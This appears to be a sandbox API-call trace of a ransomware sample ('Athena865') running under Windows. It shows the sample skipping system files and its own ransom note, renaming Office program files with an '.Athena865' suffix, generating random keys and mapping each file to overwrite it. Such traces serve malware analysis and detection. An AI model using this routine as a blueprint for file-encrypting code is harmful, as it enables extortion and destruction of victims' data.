1 [0069.071] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0069.074] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9ab7000, ftCreationTime.dwHighDateTime=0x1c8d9fe, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9ab7000, ftLastWriteTime.dwHighDateTime=0x1c8d9fe, nFileSizeHigh=0x0, nFileSizeLow=0x53f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Custom.propdesc", cAlternateFileName="CUSTOM~1.PRO")) returned 1 [0069.074] lstrcmpiW (lpString1="Custom.propdesc", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0069.074] lstrcmpiW (lpString1="Custom.propdesc", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0069.074] lstrcmpiW (lpString1="Custom.propdesc", lpString2=".") returned 1 [0069.074] lstrcmpiW (lpString1="Custom.propdesc", lpString2="..") returned 1 [0069.074] lstrcmpiW (lpString1="Custom.propdesc", lpString2="windows") returned -1 [0069.075] lstrcmpiW (lpString1="Custom.propdesc", lpString2="bootmgr") returned 1 [0069.075] lstrcmpiW (lpString1="Custom.propdesc", lpString2="temp") returned -1 [0069.075] lstrcmpiW (lpString1="Custom.propdesc", lpString2="pagefile.sys") returned -1 [0069.075] lstrcmpiW (lpString1="Custom.propdesc", lpString2="boot") returned 1 [0069.075] lstrcmpiW (lpString1="Custom.propdesc", lpString2="ids.txt") returned -1 [0069.075] lstrcmpiW (lpString1="Custom.propdesc", lpString2="ntuser.dat") returned -1 [0069.075] lstrcmpiW (lpString1="Custom.propdesc", lpString2="perflogs") returned -1 [0069.075] lstrcmpiW (lpString1="Custom.propdesc", lpString2="MSBuild") returned -1 [0069.075] lstrlenW (lpString="Custom.propdesc") returned 15 [0069.075] lstrcpyW (in: lpString1=0x241e89e, lpString2="Custom.propdesc" | out: lpString1="Custom.propdesc") returned="Custom.propdesc" [0069.075] lstrlenW (lpString="Custom.propdesc") returned 15 [0069.075] lstrlenW (lpString="Athena865") returned 9 [0069.075] lstrcmpiW (lpString1=".propdesc", lpString2="Athena865") returned -1 [0069.075] lstrlenW (lpString=".dll") returned 4 [0069.075] lstrcmpiW (lpString1="Custom.propdesc", lpString2=".dll") returned 1 [0069.075] lstrlenW (lpString=".lnk") returned 4 [0069.075] lstrcmpiW (lpString1="Custom.propdesc", lpString2=".lnk") returned 1 [0069.075] lstrlenW (lpString=".ini") returned 4 [0069.075] lstrcmpiW (lpString1="Custom.propdesc", lpString2=".ini") returned 1 [0069.075] lstrlenW (lpString=".sys") returned 4 [0069.075] lstrcmpiW (lpString1="Custom.propdesc", lpString2=".sys") returned 1 [0069.075] lstrlenW (lpString="Custom.propdesc") returned 15 [0069.075] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc.Athena865") returned 68 [0069.075] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc" (normalized: "c:\\program files\\microsoft office\\office14\\custom.propdesc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\custom.propdesc.athena865"), dwFlags=0x1) returned 1 [0069.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\custom.propdesc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0069.077] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1343) returned 1 [0069.077] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0069.077] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0069.077] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0069.077] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0069.078] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0069.078] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0069.078] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x840, lpName=0x0) returned 0x17c [0069.080] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x840) returned 0x100000 [0069.083] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0069.084] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0069.084] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0069.084] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0069.084] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0069.084] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0069.084] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0069.084] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0069.084] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0069.084] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0069.084] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0069.084] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0069.085] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0069.085] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0069.085] CloseHandle (hObject=0x17c) returned 1 [0069.085] CloseHandle (hObject=0x154) returned 1 [0069.085] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0069.085] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0069.085] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0069.085] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b53d600, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd25e4820, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1b53d600, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x91170, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DATAGATH.DLL", cAlternateFileName="")) returned 1 [0069.085] lstrcmpiW (lpString1="DATAGATH.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0069.085] lstrcmpiW (lpString1="DATAGATH.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0069.085] lstrcmpiW (lpString1="DATAGATH.DLL", lpString2=".") returned 1 [0069.085] lstrcmpiW (lpString1="DATAGATH.DLL", lpString2="..") returned 1 [0069.085] lstrcmpiW (lpString1="DATAGATH.DLL", lpString2="windows") returned -1 [0069.085] lstrcmpiW (lpString1="DATAGATH.DLL", lpString2="bootmgr") returned 1 [0069.085] lstrcmpiW (lpString1="DATAGATH.DLL", lpString2="temp") returned -1 [0069.085] lstrcmpiW (lpString1="DATAGATH.DLL", lpString2="pagefile.sys") returned -1 [0069.085] lstrcmpiW (lpString1="DATAGATH.DLL", lpString2="boot") returned 1 [0069.085] lstrcmpiW (lpString1="DATAGATH.DLL", lpString2="ids.txt") returned -1 [0069.085] lstrcmpiW (lpString1="DATAGATH.DLL", lpString2="ntuser.dat") returned -1 [0069.085] lstrcmpiW (lpString1="DATAGATH.DLL", lpString2="perflogs") returned -1 [0069.085] lstrcmpiW (lpString1="DATAGATH.DLL", lpString2="MSBuild") returned -1 [0069.085] lstrlenW (lpString="DATAGATH.DLL") returned 12 [0069.085] lstrcpyW (in: lpString1=0x241e89e, lpString2="DATAGATH.DLL" | out: lpString1="DATAGATH.DLL") returned="DATAGATH.DLL" [0069.085] lstrlenW (lpString="DATAGATH.DLL") returned 12 [0069.086] lstrlenW (lpString="Athena865") returned 9 [0069.086] lstrcmpiW (lpString1="AGATH.DLL", lpString2="Athena865") returned -1 [0069.086] lstrlenW (lpString=".dll") returned 4 [0069.086] lstrcmpiW (lpString1="DATAGATH.DLL", lpString2=".dll") returned 1 [0069.086] lstrlenW (lpString=".lnk") returned 4 [0069.086] lstrcmpiW (lpString1="DATAGATH.DLL", lpString2=".lnk") returned 1 [0069.086] lstrlenW (lpString=".ini") returned 4 [0069.086] lstrcmpiW (lpString1="DATAGATH.DLL", lpString2=".ini") returned 1 [0069.086] lstrlenW (lpString=".sys") returned 4 [0069.086] lstrcmpiW (lpString1="DATAGATH.DLL", lpString2=".sys") returned 1 [0069.086] lstrlenW (lpString="DATAGATH.DLL") returned 12 [0069.086] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL.Athena865") returned 65 [0069.086] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\datagath.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\datagath.dll.athena865"), dwFlags=0x1) returned 1 [0069.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\datagath.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0069.087] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=594288) returned 1 [0069.087] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0069.087] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0069.087] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0069.087] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0069.088] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0069.088] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0069.088] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x91470, lpName=0x0) returned 0x17c [0069.091] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x91470) returned 0x2d50000 [0069.117] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0069.118] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0069.118] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0069.118] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0069.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0069.118] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0069.118] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0069.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0069.118] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0069.118] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0069.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0069.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0069.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0069.118] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0069.124] CloseHandle (hObject=0x17c) returned 1 [0069.124] CloseHandle (hObject=0x154) returned 1 [0069.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0069.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0069.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0069.127] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xcf942ba0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x124578, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DBENGR.DLL", cAlternateFileName="")) returned 1 [0069.127] lstrcmpiW (lpString1="DBENGR.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0069.127] lstrcmpiW (lpString1="DBENGR.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0069.127] lstrcmpiW (lpString1="DBENGR.DLL", lpString2=".") returned 1 [0069.127] lstrcmpiW (lpString1="DBENGR.DLL", lpString2="..") returned 1 [0069.127] lstrcmpiW (lpString1="DBENGR.DLL", lpString2="windows") returned -1 [0069.127] lstrcmpiW (lpString1="DBENGR.DLL", lpString2="bootmgr") returned 1 [0069.127] lstrcmpiW (lpString1="DBENGR.DLL", lpString2="temp") returned -1 [0069.127] lstrcmpiW (lpString1="DBENGR.DLL", lpString2="pagefile.sys") returned -1 [0069.127] lstrcmpiW (lpString1="DBENGR.DLL", lpString2="boot") returned 1 [0069.127] lstrcmpiW (lpString1="DBENGR.DLL", lpString2="ids.txt") returned -1 [0069.128] lstrcmpiW (lpString1="DBENGR.DLL", lpString2="ntuser.dat") returned -1 [0069.128] lstrcmpiW (lpString1="DBENGR.DLL", lpString2="perflogs") returned -1 [0069.128] lstrcmpiW (lpString1="DBENGR.DLL", lpString2="MSBuild") returned -1 [0069.128] lstrlenW (lpString="DBENGR.DLL") returned 10 [0069.128] lstrcpyW (in: lpString1=0x241e89e, lpString2="DBENGR.DLL" | out: lpString1="DBENGR.DLL") returned="DBENGR.DLL" [0069.128] lstrlenW (lpString="DBENGR.DLL") returned 10 [0069.128] lstrlenW (lpString="Athena865") returned 9 [0069.128] lstrcmpiW (lpString1="BENGR.DLL", lpString2="Athena865") returned 1 [0069.128] lstrlenW (lpString=".dll") returned 4 [0069.128] lstrcmpiW (lpString1="DBENGR.DLL", lpString2=".dll") returned 1 [0069.128] lstrlenW (lpString=".lnk") returned 4 [0069.128] lstrcmpiW (lpString1="DBENGR.DLL", lpString2=".lnk") returned 1 [0069.128] lstrlenW (lpString=".ini") returned 4 [0069.128] lstrcmpiW (lpString1="DBENGR.DLL", lpString2=".ini") returned 1 [0069.128] lstrlenW (lpString=".sys") returned 4 [0069.128] lstrcmpiW (lpString1="DBENGR.DLL", lpString2=".sys") returned 1 [0069.128] lstrlenW (lpString="DBENGR.DLL") returned 10 [0069.128] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL.Athena865") returned 63 [0069.128] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbengr.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\dbengr.dll.athena865"), dwFlags=0x1) returned 1 [0069.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\dbengr.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0069.132] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1197432) returned 1 [0069.132] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0069.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0069.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0069.133] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0069.133] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0069.133] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0069.133] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x124880, lpName=0x0) returned 0x17c [0069.136] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x124880) returned 0x2d50000 [0069.175] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0069.175] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0069.175] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0069.176] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0069.176] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0069.176] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0069.176] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0069.176] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0069.176] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0069.176] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0069.176] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0069.176] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0069.176] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0069.176] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0069.186] CloseHandle (hObject=0x17c) returned 1 [0069.186] CloseHandle (hObject=0x154) returned 1 [0069.186] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0069.186] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0069.186] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0069.191] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0069.191] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0069.191] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0069.192] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2=".") returned 1 [0069.192] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="..") returned 1 [0069.192] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="windows") returned -1 [0069.192] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="bootmgr") returned 1 [0069.192] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="temp") returned -1 [0069.192] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="pagefile.sys") returned -1 [0069.192] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="boot") returned 1 [0069.192] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="ids.txt") returned -1 [0069.192] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="ntuser.dat") returned -1 [0069.192] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="perflogs") returned -1 [0069.192] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="MSBuild") returned -1 [0069.192] lstrlenW (lpString="DBGHELP.DLL") returned 11 [0069.192] lstrcpyW (in: lpString1=0x241e89e, lpString2="DBGHELP.DLL" | out: lpString1="DBGHELP.DLL") returned="DBGHELP.DLL" [0069.192] lstrlenW (lpString="DBGHELP.DLL") returned 11 [0069.192] lstrlenW (lpString="Athena865") returned 9 [0069.192] lstrcmpiW (lpString1="GHELP.DLL", lpString2="Athena865") returned 1 [0069.192] lstrlenW (lpString=".dll") returned 4 [0069.192] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2=".dll") returned 1 [0069.192] lstrlenW (lpString=".lnk") returned 4 [0069.192] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2=".lnk") returned 1 [0069.192] lstrlenW (lpString=".ini") returned 4 [0069.192] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2=".ini") returned 1 [0069.192] lstrlenW (lpString=".sys") returned 4 [0069.192] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2=".sys") returned 1 [0069.192] lstrlenW (lpString="DBGHELP.DLL") returned 11 [0069.192] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL.Athena865") returned 64 [0069.192] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbghelp.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\dbghelp.dll.athena865"), dwFlags=0x1) returned 1 [0069.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\dbghelp.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0069.194] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1369952) returned 1 [0069.194] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0069.194] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0069.194] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0069.194] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0069.195] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0069.195] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0069.195] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14ea60, lpName=0x0) returned 0x17c [0069.197] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14ea60) returned 0x2d50000 [0069.244] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0069.245] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0069.245] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0069.245] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0069.245] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0069.245] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0069.245] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0069.245] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0069.245] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0069.245] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0069.246] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0069.246] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0069.246] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0069.246] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0069.258] CloseHandle (hObject=0x17c) returned 1 [0069.258] CloseHandle (hObject=0x154) returned 1 [0069.258] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0069.258] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0069.258] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0069.264] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2630ae0, ftLastAccessTime.dwHighDateTime=0x1d305eb, 